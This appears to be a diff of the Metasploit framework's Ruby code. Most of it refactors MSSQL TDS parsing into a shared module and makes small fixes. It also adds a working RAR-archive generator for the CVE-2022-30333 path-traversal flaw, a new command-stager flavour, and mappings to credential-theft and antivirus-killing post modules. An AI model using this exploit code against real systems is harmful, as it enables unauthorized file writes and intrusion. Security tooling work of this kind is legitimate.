#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end
end
end
end
+3 -345
View File
@@ -1,5 +1,6 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/mssql/tdssslproxy'
require 'metasploit/framework/mssql/base'
module Metasploit
module Framework
@@ -8,32 +9,7 @@ module Metasploit
module Client
extend ActiveSupport::Concern
include Metasploit::Framework::Tcp::Client
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
include Metasploit::Framework::MSSQL::Base
#
# This method connects to the server over TCP and attempts
@@ -145,7 +121,7 @@ module Metasploit
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt, 15, false)
resp = proxy.send_recv(pkt)
else
resp = mssql_send_recv(pkt, 15, false)
end
@@ -281,278 +257,6 @@ module Metasploit
info[:login_ack] ? true : false
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0)
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if (len and len > 0)
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if (len and len > 0)
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
#this method send a prelogin packet and check if encryption is off
#
@@ -690,56 +394,10 @@ module Metasploit
encryption_mode
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
tdsproxy.send_recv(req)
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
protected
def windows_authentication
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.7"
VERSION = "6.2.13"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+1 -1
View File
@@ -22,7 +22,7 @@ class Config < Hash
# The installation's root directory for the distribution
InstallRoot = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..'))
# Determines the base configuration directory.
# Determines the base configuration directory. This method should be considered `private`.
#
# @return [String] the base configuration directory
def self.get_config_root
+1 -1
View File
@@ -413,7 +413,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
def update_session_info
# sys.config.getuid, and fs.dir.getwd cache their results, so update them
fs.dir.getwd
fs&.dir&.getwd
username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo
+6
View File
@@ -56,8 +56,11 @@ module Scriptable
#
def legacy_script_to_post_module(script_name)
{
'arp_scanner' => 'post/windows/gather/arp_scanner',
'autoroute' => 'post/multi/manage/autoroute',
'checkvm' => 'post/windows/gather/checkvm',
'credcollect' => 'post/windows/gather/credentials/credential_collector',
'dumplinks' => 'post/windows/gather/dumplinks',
'duplicate' => 'post/windows/manage/multi_meterpreter_inject',
'enum_chrome' => 'post/windows/gather/enum_chrome',
'enum_firefox' => 'post/windows/gather/enum_firefox',
@@ -69,6 +72,7 @@ module Scriptable
'get_application_list' => 'post/windows/gather/enum_applications',
'get_env' => 'post/multi/gather/env',
'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server',
'get_pidgin_creds' => 'post/multi/gather/pidgin_cred',
'get_local_subnets' => 'post/multi/manage/autoroute',
'get_valid_community' => 'post/windows/gather/enum_snmp',
'getcountermeasure' => 'post/windows/manage/killav',
@@ -80,6 +84,7 @@ module Scriptable
'killav' => 'post/windows/manage/killav',
'metsvc' => 'exploit/windows/local/persistence',
'migrate' => 'post/windows/manage/migrate',
'panda_2007_pavsrv51' => 'exploit/windows/local/service_permissions',
'pml_driver_config' => 'exploit/windows/local/service_permissions',
'packetrecorder' => 'post/windows/manage/rpcapd_start',
'persistence' => 'exploit/windows/local/persistence',
@@ -90,6 +95,7 @@ module Scriptable
'screenspy' => 'post/windows/gather/screen_spy',
'search_dwld' => 'post/windows/gather/enum_files',
'service_permissions_escalate' => 'exploits/windows/local/service_permissions',
'srt_webdrive_priv' => 'exploit/windows/local/service_permissions',
'uploadexec' => 'post/windows/manage/download_exec',
'webcam' => 'post/windows/manage/webcam',
'wmic' => 'post/windows/gather/wmic_command',
+2 -1
View File
@@ -243,7 +243,8 @@ module Auxiliary::HttpCrawler
# Specific module implementations should redefine this method
# with whatever is meaningful to them.
def crawler_process_page(t, page, cnt)
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page.code || "ERR"} - #{@current_site.vhost} - #{page.url}"
return if page.nil? # Skip over pages that don't contain any info aka page is nil. We can't process these types of pages since there is no data to process.
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page ? page.code || "ERR" : "ERR"} - #{@current_site.vhost} - #{page.url}"
case page.code
when 301,302
if page.headers and page.headers["location"]
+1 -1
View File
@@ -130,7 +130,7 @@ module DbConnector
# Connect to a database via the supplied yaml file
#
def self.db_connect_yaml(framework, opts)
file = opts[:yaml_file] || ::File.join(Msf::Config.get_config_root, 'database.yml')
file = opts[:yaml_file] || ::File.join(Msf::Config.config_directory, 'database.yml')
file = ::File.expand_path(file)
unless ::File.exist?(file)
return { error: 'File not found' }
+3 -2
View File
@@ -26,7 +26,8 @@ module Exploit::CmdStager
:curl => Rex::Exploitation::CmdStagerCurl,
:fetch => Rex::Exploitation::CmdStagerFetch,
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest,
:ftp_http => Rex::Exploitation::CmdStagerFtpHttp,
}
# Constant for decoders - used when checking the default flavor decoder.
@@ -55,7 +56,7 @@ module Exploit::CmdStager
flavors = STAGERS.keys if flavors.empty?
flavors.unshift('auto')
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
register_options(
[
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
@@ -0,0 +1,68 @@
# Encoding: ASCII-8BIT
module Msf
class Exploit
module Format
# The RarSymlinkPathTraversal mixin provides methods for generating a RAR file
# that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary
# location on a Linux filesystem
module RarSymlinkPathTraversal
# Encode arbitrary data to be extracted to an arbitrary path on versions of
# unrar that are affected by CVE-2022-30333
def encode_as_traversal_rar(symlink_name, target_path, data)
# Exactly 104 characters isn't allowed because we need to null-terminate
unless target_path.length < 104
raise ArgumentError, 'The RAR filename target is too long (max length: 103 characters)'
end
# Data and symlink_name don't need to be null-terminated, just padded
unless data.length <= 4096
raise ArgumentError, "The RAR file data is too long (max length: 4096 bytes, it was #{data.length})"
end
unless symlink_name.length <= 12
raise ArgumentError, 'The symlink is too long (max length: 12 characters)'
end
# Null terminate the path, pad with NUL bytes, and invert the slashes
symlink_target = (target_path + "\0").gsub('/', '\\')
symlink_target.concat(rand(255).chr) while symlink_target.length < 104
symlink_name = symlink_name.ljust(12, "\0")
# Pad the data to the full length
data.concat(rand(255).chr) while data.length < 4096
# Build a RAR file from pieces, filling in the blanks with our payloads.
# The RAR format is non-free (and complex), so this is the easiest way to
# build a payload file
rar = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00"
# Create the first section (with the symlink), and attach with its CRC32
rar_section1 = ''
rar_section1.concat("\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c")
rar_section1.concat(symlink_name) # Symlink filename
rar_section1.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
rar_section1.concat(symlink_target)
rar.concat([Zlib.crc32(rar_section1), rar_section1].pack('Va*'))
# Create the second section (with the data), and attach with its CRC32
rar_section2 = ''
rar_section2.concat("\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
rar_section2.concat([Zlib.crc32(data)].pack('V'))
rar_section2.concat("\x80\x00\x00\x0c")
rar_section2.concat(symlink_name) # Data filename (same as symlink to overwrite it)
rar_section2.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
rar.concat([Zlib.crc32(rar_section2), rar_section2].pack('Va*'))
rar.concat(data)
# This tail doesn't seem necessary, but I don't want to mess with it
rar.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
rar
end
end
end
end
end
@@ -97,15 +97,28 @@ module Msf::Exploit::Remote::HTTP::Typo3::Login
# @param password [String] The clear text password to encrypt
# @return [String] the base64 encoded password with prefixed 'rsa:'
def typo3_helper_login_rsa(e, n, password)
key = OpenSSL::PKey::RSA.new
exponent = OpenSSL::BN.new e.hex.to_s
modulus = OpenSSL::BN.new n.hex.to_s
if key.respond_to?(:set_key)
# Ruby 2.4+
key.set_key(modulus, exponent, nil)
# OpenSSL 3.0+
if OpenSSL::PKey.respond_to?(:generate_key)
exponent = OpenSSL::BN.new e.hex
modulus = OpenSSL::BN.new n.hex
asn1 = OpenSSL::ASN1::Sequence(
[
OpenSSL::ASN1::Integer(modulus),
OpenSSL::ASN1::Integer(exponent),
]
)
key = OpenSSL::PKey::RSA.new(asn1.to_der)
else
key.e = exponent
key.n = modulus
key = OpenSSL::PKey::RSA.new
exponent = OpenSSL::BN.new e.hex.to_s
modulus = OpenSSL::BN.new n.hex.to_s
if key.respond_to?(:set_key)
# Ruby 2.4+
key.set_key(modulus, exponent, nil)
else
key.e = exponent
key.n = modulus
end
end
enc = key.public_encrypt(password)
enc_b64 = Rex::Text.encode_base64(enc)
@@ -44,7 +44,7 @@ module Msf
time_stamp = opts[:time_stamp] || Time.now
pausec = opts[:pausec] || 0
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
key = opts[:key] || ''
key = opts[:key] || OpenSSL::Random.random_bytes(16)
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
pa_time_stamp: time_stamp,
+4 -346
View File
@@ -1,4 +1,7 @@
# -*- coding: binary -*-
require 'metasploit/framework/mssql/base'
module Msf
###
@@ -12,32 +15,7 @@ module Exploit::Remote::MSSQL
include Exploit::Remote::Udp
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
include Metasploit::Framework::MSSQL::Base
#
# Creates an instance of a MSSQL exploit module.
@@ -225,52 +203,6 @@ module Exploit::Remote::MSSQL
print_status("Be sure to cleanup #{var_payload}.exe...")
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if(head[1, 1] == "\x01" or not check_status )
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
#this method send a prelogin packet and check if encryption is off
#
@@ -641,7 +573,6 @@ module Exploit::Remote::MSSQL
info
end
#
# Nicely print the results of a SQL query
#
@@ -675,278 +606,5 @@ module Exploit::Remote::MSSQL
print_line(tbl.to_s)
end
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if len && len > 0
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end
end
+1 -1
View File
@@ -145,7 +145,7 @@ module Msf
def default_version_string
require 'rex/proto/ssh/connection'
Rex::Proto::Ssh::Connection.default_options['local_version']
rescue OpenSSL::Cipher::CipherError => e
rescue OpenSSL::OpenSSLError => e
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
+7
View File
@@ -183,6 +183,13 @@ class Msf::Modules::Loader::Base
causal_message: 'invalid module filename (must be lowercase alphanumeric snake case)'
))
return false
rescue => e
load_error(module_path, Msf::Modules::Error.new(
module_path: module_path,
module_reference_name: module_reference_name,
causal_message: "unknown error #{e.message}"
))
return false
end
+1 -1
View File
@@ -251,7 +251,7 @@ module Msf::Post::File
end
raise "`writable?' method does not support Windows systems" if session.platform == 'windows'
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
cmd_exec("(test -w '#{path}' || test -O '#{path}') && echo true").to_s.include? 'true'
end
#
-8
View File
@@ -210,14 +210,6 @@ module System
cmd_exec("echo $$").to_s
end
#
# Gets the pid of the current session
# @return [String]
#
def get_session_pid
cmd_exec("echo $PPID").to_s
end
#
# Checks if the system has gcc installed
# @return [Boolean]
+9 -1
View File
@@ -10,6 +10,14 @@ module Msf::Post::Unix
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end
#
# Gets the pid of the current session
# @return [String]
#
def get_session_pid
cmd_exec("echo $PPID").to_s
end
#
# Returns an array of hashes each representing a user
# Keys are name, uid, gid, info, dir and shell
@@ -99,7 +107,7 @@ module Msf::Post::Unix
#
def whoami
shellpid = get_session_pid()
status = read_file("/proc/#{shellpid}/status")
status = read_file("/proc/#{shellpid}/status")
status.each_line do |line|
split = line.split(":")
if split[0] == "Uid"
+9 -15
View File
@@ -50,15 +50,12 @@ module Msf::Post::Windows::Priv
def is_admin?
if session_has_ext
# Assume true if the OS doesn't expose this (Windows 2000)
session.railgun.shell32.IsUserAnAdmin()["return"] rescue true
else
local_service_key = registry_enumkeys('HKU\S-1-5-19')
if local_service_key
return true
else
return false
end
return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true
end
local_service_key = registry_enumkeys('HKU\S-1-5-19')
!local_service_key.blank?
end
# Steals the current user's token.
@@ -125,14 +122,11 @@ module Msf::Post::Windows::Priv
def is_system?
if session_has_ext
return session.sys.config.is_system?
else
results = registry_enumkeys('HKLM\SAM\SAM')
if results
return true
else
return false
end
end
sam = registry_enumkeys('HKLM\SAM\SAM')
!sam.blank?
end
#
+20 -14
View File
@@ -311,14 +311,17 @@ protected
subkeys = []
reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|'
